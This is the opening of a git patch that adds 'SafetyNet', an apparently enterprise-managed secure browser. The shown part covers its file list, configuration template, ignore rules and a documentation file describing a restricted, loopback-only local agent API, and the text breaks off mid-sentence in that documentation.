From ff482ebe2368514199c019b3ec9cd58bbd4d5830 Mon Sep 17 00:00:00 2001 From: Karl Date: Tue, 13 Oct 2026 10:33:31 +0200 Subject: [PATCH] first commit --- .env.example | 63 + .gitattributes | 6 + .gitignore | 30 + AGENT-API.md | 65 + README.md | 182 + VAULT-SECURITY.md | 31 + apps/browser/agent-adapters.cjs | 112 + apps/browser/agent-client.cjs | 23 + apps/browser/agent-control.cjs | 131 + apps/browser/bookmarks.cjs | 25 + apps/browser/clipboard-deny.cjs | 27 + apps/browser/clipboard-dom.cjs | 44 + apps/browser/clipboard-guard.cjs | 43 + apps/browser/developer-tools.cjs | 36 + apps/browser/diagnostics.cjs | 56 + apps/browser/download-gate.cjs | 45 + apps/browser/dpapi.cjs | 20 + apps/browser/enterprise-inspection.cjs | 47 + apps/browser/icap-client.cjs | 97 + apps/browser/icons/LICENSE | 43 + apps/browser/icons/arrow-up.svg | 16 + apps/browser/icons/book-open.svg | 16 + apps/browser/icons/bookmark-plus.svg | 17 + apps/browser/icons/bookmark.svg | 15 + apps/browser/icons/bot.svg | 20 + apps/browser/icons/chevron-left.svg | 15 + apps/browser/icons/chevron-right.svg | 15 + apps/browser/icons/ellipsis.svg | 17 + apps/browser/icons/folder.svg | 15 + apps/browser/icons/globe.svg | 17 + apps/browser/icons/grid-2x2.svg | 17 + apps/browser/icons/key-round.svg | 16 + apps/browser/icons/lock-keyhole.svg | 17 + apps/browser/icons/maximize-2.svg | 18 + apps/browser/icons/minus.svg | 15 + apps/browser/icons/panel-left.svg | 16 + apps/browser/icons/panel-right.svg | 16 + apps/browser/icons/plus.svg | 16 + apps/browser/icons/rotate-cw.svg | 16 + apps/browser/icons/scan-text.svg | 21 + apps/browser/icons/search.svg | 16 + apps/browser/icons/share.svg | 17 + apps/browser/icons/shield-check.svg | 16 + apps/browser/icons/sparkles.svg | 18 + apps/browser/icons/squares-unite.svg | 15 + apps/browser/icons/star.svg | 15 + apps/browser/icons/x.svg | 16 + apps/browser/index.html | 481 ++ apps/browser/inspection.cjs | 55 + apps/browser/loopback-http.cjs | 17 + apps/browser/main.cjs | 631 +++ apps/browser/managed-settings.cjs | 24 + apps/browser/management-channel.cjs | 19 + apps/browser/network-posture.cjs | 34 + apps/browser/page-clipboard-guard.cjs | 55 + apps/browser/password-fill.cjs | 44 + apps/browser/policy-assignment.cjs | 10 + apps/browser/preload.cjs | 33 + apps/browser/renderer.js | 198 + apps/browser/site-preload.cjs | 50 + apps/browser/startup-security.cjs | 22 + apps/browser/style.css | 1684 ++++++ apps/browser/tab-registry.cjs | 54 + apps/browser/vault.cjs | 161 + apps/browser/visual-capture.cjs | 20 + apps/browser/visual-phishing.cjs | 80 + apps/inspector/CAPABILITIES.md | 31 + apps/inspector/dpapi.py | 33 + apps/inspector/engine.py | 340 ++ apps/inspector/provision_runtime_acl.py | 37 + apps/inspector/requirements-model.txt | 3 + apps/inspector/requirements.lock.txt | 26 + apps/inspector/requirements.txt | 6 + apps/inspector/sandbox_worker.py | 59 + apps/inspector/semantic.py | 177 + apps/inspector/server.py | 109 + apps/inspector/test_engine.py | 41 + apps/inspector/test_security.py | 68 + apps/inspector/test_semantic.py | 87 + apps/inspector/test_semantic_real.py | 47 + apps/inspector/test_server.py | 48 + apps/inspector/test_windows_appcontainer.py | 175 + apps/inspector/test_windows_containment.py | 83 + .../unused-runtime-distributions.json | 363 ++ apps/inspector/windows_appcontainer.py | 271 + apps/inspector/windows_containment.py | 67 + apps/server/admin-access.mjs | 59 + apps/server/app.mjs | 285 + apps/server/audit-retention.mjs | 52 + apps/server/auth.mjs | 91 + apps/server/bookmarks.mjs | 59 + apps/server/evidence.mjs | 63 + apps/server/incidents.mjs | 22 + apps/server/index.mjs | 35 + apps/server/inspection.mjs | 12 + apps/server/policy-channel.mjs | 24 + apps/server/policy-groups.mjs | 59 + apps/server/policy-history.mjs | 60 + apps/server/policy-review.mjs | 72 + apps/server/public/admin.js | 372 ++ apps/server/public/diagnostics-admin.js | 8 + apps/server/public/group-admin.js | 17 + apps/server/public/incident-admin.js | 7 + apps/server/public/index.html | 32 + apps/server/public/profile-admin.js | 13 + apps/server/public/style.css | 15 + apps/server/siem.mjs | 35 + apps/server/store.mjs | 61 + apps/server/telemetry.mjs | 23 + apps/server/user-profiles.mjs | 28 + deploy/ADMIN-MANAGEMENT.md | 106 + deploy/otel-collector.yaml | 28 + docs/admin-security.md | 31 + docs/agent-observability-requirements.md | 36 + docs/audit-retention.md | 28 + docs/brand/README.md | 37 + docs/brand/export-assets.cjs | 43 + docs/brand/safetynet-icon.png | Bin 0 -> 142360 bytes docs/brand/safetynet-lockup.png | Bin 0 -> 426726 bytes docs/brand/safetynet-readme.png | Bin 0 -> 353925 bytes docs/brand/safetynet.ico | Bin 0 -> 28493 bytes docs/browser-diagnostics.md | 51 + docs/file-transfer-controls.md | 11 + docs/group-policy-rollout.md | 24 + docs/immutable-upload-feasibility.md | 32 + docs/incident-management.md | 18 + docs/media/screenshots/README.md | 8 + docs/media/screenshots/admin-profiles.png | Bin 0 -> 84784 bytes docs/media/screenshots/browser-dark.png | Bin 0 -> 295335 bytes docs/media/screenshots/browser-light.png | Bin 0 -> 241680 bytes docs/native-tabs-integration.md | 22 + docs/native-tabs.md | 27 + docs/policy-review.md | 19 + docs/protected-evidence.md | 27 + docs/requirements-audit.md | 144 + docs/threat-model.md | 90 + docs/user-profile-policies.md | 13 + docs/user-profiles-admin.md | 11 + docs/windows-appcontainer-installation.md | 26 + package-lock.json | 4966 +++++++++++++++++ package.json | 99 + packages/core/bookmarks.mjs | 17 + packages/core/clipboard.mjs | 33 + packages/core/diagnostics.mjs | 13 + packages/core/enterprise.mjs | 24 + packages/core/file-transfer.cjs | 29 + packages/core/file-transfer.mjs | 5 + packages/core/managed-settings.mjs | 22 + packages/core/policy-channel.cjs | 35 + packages/core/policy-groups.mjs | 48 + packages/core/policy.mjs | 133 + packages/core/presets.mjs | 21 + packages/core/security.mjs | 32 + packages/core/semantic.mjs | 19 + packages/core/siem.mjs | 38 + packages/core/transfer-facts.cjs | 5 + packages/core/user-profiles.mjs | 27 + packages/core/visual-hash.cjs | 73 + packages/core/visual-image.cjs | 29 + scripts/agent-client.cjs | 8 + scripts/appcontainer-smoke.py | 51 + scripts/bookmarks-admin-smoke.cjs | 25 + scripts/bookmarks-admin-smoke.mjs | 26 + scripts/bookmarks-browser-smoke.cjs | 31 + scripts/bookmarks-browser-smoke.mjs | 22 + scripts/browser.mjs | 7 + scripts/check.mjs | 7 + scripts/devtools-debugger-probe.cjs | 19 + scripts/devtools-profile-smoke.cjs | 16 + scripts/devtools-profile-smoke.mjs | 8 + scripts/electron-smoke.cjs | 284 + scripts/enterprise-admin-smoke.cjs | 37 + scripts/enterprise-admin-smoke.mjs | 28 + scripts/enterprise-browser-smoke.cjs | 27 + scripts/enterprise-browser-smoke.mjs | 24 + scripts/groups-admin-smoke.cjs | 37 + scripts/groups-admin-smoke.mjs | 29 + scripts/immutable-upload-probe.cjs | 38 + scripts/incident-admin-smoke.cjs | 22 + scripts/incident-admin-smoke.mjs | 29 + scripts/independent-review-admin-smoke.cjs | 35 + scripts/independent-review-admin-smoke.mjs | 28 + scripts/init.mjs | 12 + scripts/inspector.mjs | 12 + scripts/managed-settings-smoke.cjs | 26 + scripts/managed-settings-smoke.mjs | 31 + scripts/native-tabs-smoke.cjs | 35 + scripts/native-tabs-smoke.mjs | 28 + scripts/package.mjs | 23 + scripts/password-focus-smoke.cjs | 30 + scripts/policy-history-admin-smoke.cjs | 27 + scripts/policy-history-admin-smoke.mjs | 26 + scripts/profiles-admin-smoke.cjs | 34 + scripts/profiles-admin-smoke.mjs | 29 + scripts/provision-model.py | 4 + scripts/provision-semantic-runtime.py | 70 + scripts/provision-windows-runtime.py | 45 + scripts/semantic-browser-smoke.cjs | 34 + scripts/semantic-browser-smoke.mjs | 51 + scripts/smoke.mjs | 54 + scripts/ui-preview.cjs | 59 + scripts/ui-showcase.cjs | 201 + scripts/verify-package.mjs | 56 + tests/agent-adapters.test.mjs | 174 + tests/agent-control.test.mjs | 96 + tests/audit-retention.test.mjs | 39 + tests/bookmarks-native.test.mjs | 13 + tests/bookmarks.test.mjs | 19 + tests/clipboard-review.test.mjs | 51 + tests/clipboard-subframes.fixture.cjs | 46 + tests/clipboard.test.mjs | 48 + tests/developer-tools.test.mjs | 5 + tests/diagnostics.test.mjs | 18 + tests/dns-alias.test.mjs | 10 + tests/download-gate.test.mjs | 38 + tests/enterprise-admin.test.mjs | 29 + tests/enterprise-gateway.test.mjs | 28 + tests/enterprise-inspection.test.mjs | 40 + tests/evidence.test.mjs | 21 + tests/file-transfer.test.mjs | 18 + tests/fixtures/icap/cert.pem | 19 + tests/fixtures/icap/key.pem | 28 + tests/icap-client.test.mjs | 38 + tests/incidents.test.mjs | 9 + tests/inspector-paths.test.mjs | 27 + tests/loopback-http.test.mjs | 19 + tests/managed-settings.test.mjs | 32 + tests/network-posture.test.mjs | 12 + tests/page-clipboard-guard.test.mjs | 43 + tests/password-fill.test.mjs | 30 + tests/policy-assignment.test.mjs | 17 + tests/policy-channel.test.mjs | 61 + tests/policy-groups.test.mjs | 77 + tests/policy-history.test.mjs | 58 + tests/policy-review.test.mjs | 60 + tests/policy.test.mjs | 37 + tests/security.test.mjs | 96 + tests/semantic.test.mjs | 43 + tests/server.test.mjs | 209 + tests/siem.test.mjs | 40 + tests/startup-security.test.mjs | 23 + tests/tab-registry.test.mjs | 15 + tests/telemetry.test.mjs | 14 + tests/transfer-facts.test.mjs | 13 + tests/user-profiles.test.mjs | 16 + tests/vault.test.mjs | 103 + tests/visual-capture.test.mjs | 13 + tests/visual-hash.test.mjs | 56 + tests/visual-image.test.mjs | 11 + tests/visual-phishing.test.mjs | 60 + tests/visual-preload.test.mjs | 112 + 251 files changed, 19126 insertions(+) create mode 100644 .env.example create mode 100644 .gitattributes create mode 100644 .gitignore create mode 100644 AGENT-API.md create mode 100644 README.md create mode 100644 VAULT-SECURITY.md create mode 100644 apps/browser/agent-adapters.cjs create mode 100644 apps/browser/agent-client.cjs create mode 100644 apps/browser/agent-control.cjs create mode 100644 apps/browser/bookmarks.cjs create mode 100644 apps/browser/clipboard-deny.cjs create mode 100644 apps/browser/clipboard-dom.cjs create mode 100644 apps/browser/clipboard-guard.cjs create mode 100644 apps/browser/developer-tools.cjs create mode 100644 apps/browser/diagnostics.cjs create mode 100644 apps/browser/download-gate.cjs create mode 100644 apps/browser/dpapi.cjs create mode 100644 apps/browser/enterprise-inspection.cjs create mode 100644 apps/browser/icap-client.cjs create mode 100644 apps/browser/icons/LICENSE create mode 100644 apps/browser/icons/arrow-up.svg create mode 100644 apps/browser/icons/book-open.svg create mode 100644 apps/browser/icons/bookmark-plus.svg create mode 100644 apps/browser/icons/bookmark.svg create mode 100644 apps/browser/icons/bot.svg create mode 100644 apps/browser/icons/chevron-left.svg create mode 100644 apps/browser/icons/chevron-right.svg create mode 100644 apps/browser/icons/ellipsis.svg create mode 100644 apps/browser/icons/folder.svg create mode 100644 apps/browser/icons/globe.svg create mode 100644 apps/browser/icons/grid-2x2.svg create mode 100644 apps/browser/icons/key-round.svg create mode 100644 apps/browser/icons/lock-keyhole.svg create mode 100644 apps/browser/icons/maximize-2.svg create mode 100644 apps/browser/icons/minus.svg create mode 100644 apps/browser/icons/panel-left.svg create mode 100644 apps/browser/icons/panel-right.svg create mode 100644 apps/browser/icons/plus.svg create mode 100644 apps/browser/icons/rotate-cw.svg create mode 100644 apps/browser/icons/scan-text.svg create mode 100644 apps/browser/icons/search.svg create mode 100644 apps/browser/icons/share.svg create mode 100644 apps/browser/icons/shield-check.svg create mode 100644 apps/browser/icons/sparkles.svg create mode 100644 apps/browser/icons/squares-unite.svg create mode 100644 apps/browser/icons/star.svg create mode 100644 apps/browser/icons/x.svg create mode 100644 apps/browser/index.html create mode 100644 apps/browser/inspection.cjs create mode 100644 apps/browser/loopback-http.cjs create mode 100644 apps/browser/main.cjs create mode 100644 apps/browser/managed-settings.cjs create mode 100644 apps/browser/management-channel.cjs create mode 100644 apps/browser/network-posture.cjs create mode 100644 apps/browser/page-clipboard-guard.cjs create mode 100644 apps/browser/password-fill.cjs create mode 100644 apps/browser/policy-assignment.cjs create mode 100644 apps/browser/preload.cjs create mode 100644 apps/browser/renderer.js create mode 100644 apps/browser/site-preload.cjs create mode 100644 apps/browser/startup-security.cjs create mode 100644 apps/browser/style.css create mode 100644 apps/browser/tab-registry.cjs create mode 100644 apps/browser/vault.cjs create mode 100644 apps/browser/visual-capture.cjs create mode 100644 apps/browser/visual-phishing.cjs create mode 100644 apps/inspector/CAPABILITIES.md create mode 100644 apps/inspector/dpapi.py create mode 100644 apps/inspector/engine.py create mode 100644 apps/inspector/provision_runtime_acl.py create mode 100644 apps/inspector/requirements-model.txt create mode 100644 apps/inspector/requirements.lock.txt create mode 100644 apps/inspector/requirements.txt create mode 100644 apps/inspector/sandbox_worker.py create mode 100644 apps/inspector/semantic.py create mode 100644 apps/inspector/server.py create mode 100644 apps/inspector/test_engine.py create mode 100644 apps/inspector/test_security.py create mode 100644 apps/inspector/test_semantic.py create mode 100644 apps/inspector/test_semantic_real.py create mode 100644 apps/inspector/test_server.py create mode 100644 apps/inspector/test_windows_appcontainer.py create mode 100644 apps/inspector/test_windows_containment.py create mode 100644 apps/inspector/unused-runtime-distributions.json create mode 100644 apps/inspector/windows_appcontainer.py create mode 100644 apps/inspector/windows_containment.py create mode 100644 apps/server/admin-access.mjs create mode 100644 apps/server/app.mjs create mode 100644 apps/server/audit-retention.mjs create mode 100644 apps/server/auth.mjs create mode 100644 apps/server/bookmarks.mjs create mode 100644 apps/server/evidence.mjs create mode 100644 apps/server/incidents.mjs create mode 100644 apps/server/index.mjs create mode 100644 apps/server/inspection.mjs create mode 100644 apps/server/policy-channel.mjs create mode 100644 apps/server/policy-groups.mjs create mode 100644 apps/server/policy-history.mjs create mode 100644 apps/server/policy-review.mjs create mode 100644 apps/server/public/admin.js create mode 100644 apps/server/public/diagnostics-admin.js create mode 100644 apps/server/public/group-admin.js create mode 100644 apps/server/public/incident-admin.js create mode 100644 apps/server/public/index.html create mode 100644 apps/server/public/profile-admin.js create mode 100644 apps/server/public/style.css create mode 100644 apps/server/siem.mjs create mode 100644 apps/server/store.mjs create mode 100644 apps/server/telemetry.mjs create mode 100644 apps/server/user-profiles.mjs create mode 100644 deploy/ADMIN-MANAGEMENT.md create mode 100644 deploy/otel-collector.yaml create mode 100644 docs/admin-security.md create mode 100644 docs/agent-observability-requirements.md create mode 100644 docs/audit-retention.md create mode 100644 docs/brand/README.md create mode 100644 docs/brand/export-assets.cjs create mode 100644 docs/brand/safetynet-icon.png create mode 100644 docs/brand/safetynet-lockup.png create mode 100644 docs/brand/safetynet-readme.png create mode 100644 docs/brand/safetynet.ico create mode 100644 docs/browser-diagnostics.md create mode 100644 docs/file-transfer-controls.md create mode 100644 docs/group-policy-rollout.md create mode 100644 docs/immutable-upload-feasibility.md create mode 100644 docs/incident-management.md create mode 100644 docs/media/screenshots/README.md create mode 100644 docs/media/screenshots/admin-profiles.png create mode 100644 docs/media/screenshots/browser-dark.png create mode 100644 docs/media/screenshots/browser-light.png create mode 100644 docs/native-tabs-integration.md create mode 100644 docs/native-tabs.md create mode 100644 docs/policy-review.md create mode 100644 docs/protected-evidence.md create mode 100644 docs/requirements-audit.md create mode 100644 docs/threat-model.md create mode 100644 docs/user-profile-policies.md create mode 100644 docs/user-profiles-admin.md create mode 100644 docs/windows-appcontainer-installation.md create mode 100644 package-lock.json create mode 100644 package.json create mode 100644 packages/core/bookmarks.mjs create mode 100644 packages/core/clipboard.mjs create mode 100644 packages/core/diagnostics.mjs create mode 100644 packages/core/enterprise.mjs create mode 100644 packages/core/file-transfer.cjs create mode 100644 packages/core/file-transfer.mjs create mode 100644 packages/core/managed-settings.mjs create mode 100644 packages/core/policy-channel.cjs create mode 100644 packages/core/policy-groups.mjs create mode 100644 packages/core/policy.mjs create mode 100644 packages/core/presets.mjs create mode 100644 packages/core/security.mjs create mode 100644 packages/core/semantic.mjs create mode 100644 packages/core/siem.mjs create mode 100644 packages/core/transfer-facts.cjs create mode 100644 packages/core/user-profiles.mjs create mode 100644 packages/core/visual-hash.cjs create mode 100644 packages/core/visual-image.cjs create mode 100644 scripts/agent-client.cjs create mode 100644 scripts/appcontainer-smoke.py create mode 100644 scripts/bookmarks-admin-smoke.cjs create mode 100644 scripts/bookmarks-admin-smoke.mjs create mode 100644 scripts/bookmarks-browser-smoke.cjs create mode 100644 scripts/bookmarks-browser-smoke.mjs create mode 100644 scripts/browser.mjs create mode 100644 scripts/check.mjs create mode 100644 scripts/devtools-debugger-probe.cjs create mode 100644 scripts/devtools-profile-smoke.cjs create mode 100644 scripts/devtools-profile-smoke.mjs create mode 100644 scripts/electron-smoke.cjs create mode 100644 scripts/enterprise-admin-smoke.cjs create mode 100644 scripts/enterprise-admin-smoke.mjs create mode 100644 scripts/enterprise-browser-smoke.cjs create mode 100644 scripts/enterprise-browser-smoke.mjs create mode 100644 scripts/groups-admin-smoke.cjs create mode 100644 scripts/groups-admin-smoke.mjs create mode 100644 scripts/immutable-upload-probe.cjs create mode 100644 scripts/incident-admin-smoke.cjs create mode 100644 scripts/incident-admin-smoke.mjs create mode 100644 scripts/independent-review-admin-smoke.cjs create mode 100644 scripts/independent-review-admin-smoke.mjs create mode 100644 scripts/init.mjs create mode 100644 scripts/inspector.mjs create mode 100644 scripts/managed-settings-smoke.cjs create mode 100644 scripts/managed-settings-smoke.mjs create mode 100644 scripts/native-tabs-smoke.cjs create mode 100644 scripts/native-tabs-smoke.mjs create mode 100644 scripts/package.mjs create mode 100644 scripts/password-focus-smoke.cjs create mode 100644 scripts/policy-history-admin-smoke.cjs create mode 100644 scripts/policy-history-admin-smoke.mjs create mode 100644 scripts/profiles-admin-smoke.cjs create mode 100644 scripts/profiles-admin-smoke.mjs create mode 100644 scripts/provision-model.py create mode 100644 scripts/provision-semantic-runtime.py create mode 100644 scripts/provision-windows-runtime.py create mode 100644 scripts/semantic-browser-smoke.cjs create mode 100644 scripts/semantic-browser-smoke.mjs create mode 100644 scripts/smoke.mjs create mode 100644 scripts/ui-preview.cjs create mode 100644 scripts/ui-showcase.cjs create mode 100644 scripts/verify-package.mjs create mode 100644 tests/agent-adapters.test.mjs create mode 100644 tests/agent-control.test.mjs create mode 100644 tests/audit-retention.test.mjs create mode 100644 tests/bookmarks-native.test.mjs create mode 100644 tests/bookmarks.test.mjs create mode 100644 tests/clipboard-review.test.mjs create mode 100644 tests/clipboard-subframes.fixture.cjs create mode 100644 tests/clipboard.test.mjs create mode 100644 tests/developer-tools.test.mjs create mode 100644 tests/diagnostics.test.mjs create mode 100644 tests/dns-alias.test.mjs create mode 100644 tests/download-gate.test.mjs create mode 100644 tests/enterprise-admin.test.mjs create mode 100644 tests/enterprise-gateway.test.mjs create mode 100644 tests/enterprise-inspection.test.mjs create mode 100644 tests/evidence.test.mjs create mode 100644 tests/file-transfer.test.mjs create mode 100644 tests/fixtures/icap/cert.pem create mode 100644 tests/fixtures/icap/key.pem create mode 100644 tests/icap-client.test.mjs create mode 100644 tests/incidents.test.mjs create mode 100644 tests/inspector-paths.test.mjs create mode 100644 tests/loopback-http.test.mjs create mode 100644 tests/managed-settings.test.mjs create mode 100644 tests/network-posture.test.mjs create mode 100644 tests/page-clipboard-guard.test.mjs create mode 100644 tests/password-fill.test.mjs create mode 100644 tests/policy-assignment.test.mjs create mode 100644 tests/policy-channel.test.mjs create mode 100644 tests/policy-groups.test.mjs create mode 100644 tests/policy-history.test.mjs create mode 100644 tests/policy-review.test.mjs create mode 100644 tests/policy.test.mjs create mode 100644 tests/security.test.mjs create mode 100644 tests/semantic.test.mjs create mode 100644 tests/server.test.mjs create mode 100644 tests/siem.test.mjs create mode 100644 tests/startup-security.test.mjs create mode 100644 tests/tab-registry.test.mjs create mode 100644 tests/telemetry.test.mjs create mode 100644 tests/transfer-facts.test.mjs create mode 100644 tests/user-profiles.test.mjs create mode 100644 tests/vault.test.mjs create mode 100644 tests/visual-capture.test.mjs create mode 100644 tests/visual-hash.test.mjs create mode 100644 tests/visual-image.test.mjs create mode 100644 tests/visual-phishing.test.mjs create mode 100644 tests/visual-preload.test.mjs diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..333bea8 --- /dev/null +++ b/.env.example @@ -0,0 +1,63 @@ +HOST=127.0.0.1 +PORT=4310 +PUBLIC_URL=http://127.0.0.1:4310 +# Generate a random value of at least 32 characters. Required to start. +ADMIN_TOKEN= +DATA_DIR=./data +# Encrypted policy delivery is required by default; false is allowed only for loopback development. +REQUIRE_PQ_MANAGEMENT_CHANNEL=true +# Require a different SSO administrator to approve every signed policy publication. +# This is deployment configuration, never editable from a browser policy. +REQUIRE_INDEPENDENT_POLICY_APPROVAL=true +# Deploy a trusted ML-DSA-87 public PEM outside the browser profile for PQ initial trust. +SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE= +SAFETYNET_REQUIRE_CHANNEL_PIN=false +# Optional enterprise ICAPS trust/client identity. PEM files stay in protected deployment storage. +SAFETYNET_ICAP_CA_FILE= +SAFETYNET_ICAP_CERT_FILE= +SAFETYNET_ICAP_KEY_FILE= +# For the Node.js management service's outbound HTTP clients. Set through the service environment. +# NODE_USE_ENV_PROXY=1 +# HTTP_PROXY=http://company-proxy.example:8080 +# HTTPS_PROXY=http://company-proxy.example:8080 +# NO_PROXY=localhost,127.0.0.1,::1 +# NODE_USE_SYSTEM_CA=1 +# NODE_EXTRA_CA_CERTS=C:/ProgramData/SafetyNet/company-ca.pem +# Required for enterprise SSO. Register PUBLIC_URL/auth/callback with the IdP. +OIDC_ISSUER= +OIDC_CLIENT_ID= +OIDC_CLIENT_SECRET= +OIDC_ADMIN_GROUP=safetynet-admins +OIDC_OPERATOR_GROUP= +OIDC_AUDITOR_GROUP= +OIDC_DEVICE_GROUP= +OIDC_GROUPS_CLAIM=groups +# Optional: server-held credentials for an approved OpenAI-compatible endpoint. +AI_BASE_URL= +AI_API_KEY= +AI_MODEL= +# Must match policy.ai.endpointId; local mode requires numeric loopback. +AI_ENDPOINT_ID=default +# Optional OTLP HTTP trace export; no prompt/content attributes are emitted. +OTEL_EXPORTER_OTLP_ENDPOINT= +# Durable SIEM delivery: default is data/security.ndjson. Optional HTTPS push. +SIEM_FORMAT=ecs +SIEM_HTTP_URL= +SIEM_HTTP_TOKEN= +SIEM_CA_FILE= +SIEM_CERT_FILE= +SIEM_KEY_FILE= +# Opt-in database event retention; 0 disables deletion. Incident evidence, +# pending SIEM delivery and device-event replay deduplication are preserved. +# SIEM receiver / local export file retention must be configured separately. +AUDIT_RETENTION_DAYS=0 +# Separate encrypted analyst evidence; leave unset to disable. The deployment +# key file must contain exactly 32 raw bytes and be protected separately from DB. +EVIDENCE_KEY_FILE= +EVIDENCE_RETENTION_DAYS=30 +# Customer-hosted content inspector. Never point this at an untrusted public service. +INSPECTOR_URL=http://127.0.0.1:4311 +INSPECTOR_TOKEN= +# Exact local model snapshot directory and its commit revision; inspection never downloads weights. +EMBEDDING_MODEL_DIR= +EMBEDDING_MODEL_REVISION= diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..29df08d --- /dev/null +++ b/.gitattributes @@ -0,0 +1,6 @@ +* text=auto eol=lf +*.png binary +*.ico binary +*.jpg binary +*.jpeg binary +*.webp binary diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..582de9b --- /dev/null +++ b/.gitignore @@ -0,0 +1,30 @@ +node_modules/ +dist/ +data/ +.env +*.log +artifacts/ +.venv/ +.models/ +.runtime/ +__pycache__/ + +.publish-local/ +.env.* +!.env.example +*.sqlite* +*.db +*.bin +*.pfx +*.p12 +*.key +!.gitignore + + +# No CI/CD workflows are published for this repository. +.github/workflows/ +.gitea/workflows/ +.gitlab-ci.yml +.drone.yml +Jenkinsfile + diff --git a/AGENT-API.md b/AGENT-API.md new file mode 100644 index 0000000..a9403a9 --- /dev/null +++ b/AGENT-API.md @@ -0,0 +1,65 @@ +# Local browser agents + +The administrator enables `policy.agents.enabled`, chooses action-name scopes, and optionally restricts `allowedHosts`. Empty hosts inherits browser destination policy. Each native tab has a stable UUID for its lifetime. Obtain these IDs with `sessions`; an omitted sessionId captures the foreground tab once and pins the operation to it. Closed IDs are invalid. Screenshot scope is reserved but no screenshot API is implemented. + +## Windows pairing and CLI + +The browser creates `agent-connection.json` in its Windows user-data directory. It contains `format: windows-dpapi-v1` and a DPAPI CurrentUser-protected connection capability. The trusted shell's Agent connection control provides its path; remote pages never receive the token. Pairing grants access to trusted same-user local processes. It does not authenticate separate named applications or resist a compromised Windows account. Protect the profile and installation using endpoint management. + +Create a local JSON request file containing: + +```json +{"action":"read","args":{}} +``` + +Run the packaged helper while the managed browser is running: + +```powershell +& 'C:/path/to/SafetyNet.exe' --agent-connection='C:/absolute/profile/agent-connection.json' --agent-action='C:/absolute/request.json' +``` + +Development equivalent from the repository: + +```powershell +./node_modules/electron/dist/electron.exe scripts/agent-client.cjs --connection 'C:/absolute/profile/agent-connection.json' --request 'C:/absolute/request.json' +``` + +The helper uses a separate profile, decrypts the descriptor with Windows DPAPI, verifies literal loopback, and sends bounded JSON with Node HTTP. It follows no redirects and sets a deadline. Results go to stdout; failures exit with code 1. Protect/delete request files: prompts and typed text in those files are plaintext. A fresh capability is generated at startup; central revocation disables the current capability. A descriptor surviving a crash can point to an inactive endpoint and must not be treated as an authenticated response source without a running trusted browser. + +## Actions + +Send `POST /v1/actions` to the generated `http://127.0.0.1:` endpoint with `Authorization: Bearer ` and `Content-Type: application/json`. Browser Origin/Fetch Metadata requests are rejected. No CORS, CDP, arbitrary JavaScript, cookie export or arbitrary filesystem API is exposed. + +| Action | Arguments | Policy scope | Internal scope | Result | +|---|---|---|---|---| +| sessions | none | sessions | sessions:list | `[{id,title,foreground}]` | +| navigate | sessionId, url | navigate | browser:navigate | `{completed}` | +| read | sessionId | read | browser:read | `{text}` | +| click | sessionId, selector | click | browser:interact | `{completed}` | +| type | sessionId, selector, text | type | browser:interact | `{completed}` | +| ai | sessionId, prompt | ai | ai:request | `{text}` | +| application:state | none | application:state | application:state | ready, policyVersion, activeTabId, tabCount | +| settings:get | none | settings:get | settings:get | visible, hiddenSections, lockedSections, appearance | +| settings:update | appearance | settings:update | settings:update | current managed settings | +| bookmarks:list | none | bookmarks:list | bookmarks:list | managed and personal bookmarks, revision and permissions | +| bookmarks:mutate | action, bookmark/id, expectedRevision, policyVersion | bookmarks:mutate | bookmarks:mutate | `{completed}` | +| tabs:create | optional group, optional HTTP(S) url | tabs:create | tabs:create | `{completed,sessionId}` | +| tabs:activate | sessionId | tabs:activate | tabs:activate | `{completed,sessionId}` | +| tabs:close | sessionId | tabs:close | tabs:close | `{completed}` | +| tabs:group | sessionId, group | tabs:group | tabs:group | `{completed,sessionId}` | + +Application control scopes are disabled by default and must be explicitly published by an administrator. They provide fixed operations on the same privileged helpers used by the browser UI. `settings:update` accepts only `appearance.mode` (`system`, `light`, `dark`), `appearance.accent` (`blue`, `teal`, `violet`) and `appearance.tabMode` (`separate`, `compact`). Hidden or locked settings remain enforced. Agents cannot edit signed security policy, enrollment, credentials or management keys. Bookmark changes target personal bookmarks only and require the current signed policy version and personal revision; company bookmarks remain protected. Bookmark titles, URLs and folders pass local DLP before export. Policy changes during an operation suppress its result, even if an authorized central bookmark mutation already committed; refresh before retrying. + +Navigation accepts HTTP(S) URLs without credentials. Selectors use a conservative CSS subset. Targets must be visible and eligible; password, file, hidden, token and authentication fields are denied. Typing emits input/change events without directly submitting a form. Normal outbound DLP still gates site requests. + +Read extracts at most 10,000 visible characters, excluding form/editable fields, hidden content, scripts/styles and sensitive elements. It returns no attributes, cookies or browser storage. Local inspection runs before return. `allowSensitiveRead` can permit known deterministic corporate DLP classifications; credentials, malware, unknown blocks and incomplete inspection stay denied. AI uses the centrally configured inspected gateway, with bounded inspected output. Detection does not guarantee recognition of every visible secret. + +Inventory works on the start page. Read and AI can target an explicitly identified background tab; click/type require the foreground tab. Destination and host restrictions apply to the target tab. Adapters check readiness, expiry/version, action scope, destination and captured native identity before/after awaited operations. Navigation, same-URL reload, closure and policy changes invalidate captured operations. Foreground captures additionally become invalid after switching away and back; explicitly captured background reads remain bound to their original tab while other tabs are selected. Intentional navigation returns a freshly captured context for the same tab and preserves the foreground activation generation. Fixed DOM scripts bind to the captured document URL before interaction. No policy bypass or upload exception is generated. Page actions already performed cannot be undone by subsequent revocation; network requests still pass browser enforcement. + +## Trusted integration contract + +`startAgentControl({authorize,actions,audit,persistCredential?,credentialFile?,onError?,timeoutMs?,maxRequestsPerMinute?})` returns `{address,token,close,revoke}` asynchronously. It binds an ephemeral port only on 127.0.0.1. Defaults: 10-second action deadline, 60 authenticated requests/minute, 32 KiB request-body limit. Configure it exclusively in trusted main-process code. + +`authorize({action,args,scope,sessionId,signal})` returns `{allowed:true,role:'agent'|'admin',scopes:[requiredInternalScope]}` after current policy checks. Action adapters receive `(args,{signal})`. `createAgentAdapters({getContext,getSessions,contextCurrent,navigate,ai,inspect,audit,appControls?})` expects `getContext(sessionId)` to return `{ready,sessionId,foreground,interactive?,token,policy,policyVersion?,webContents,destinationAllowed}`. `interactive:false` prevents click/type when chrome panels cover the website. Omitted IDs capture the current foreground tab. `getSessions()` returns trusted native inventory. `contextCurrent(token)` verifies native identity, navigation generation, activation generation and policy generation. `navigate(url,capturedContext,{signal})` must enforce the captured context before loading, and return the refreshed context for the same native tab after loading. `appControls` supplies fixed callbacks keyed by application action names; callbacks receive `(args,{signal,policyVersion})` and must enforce managed 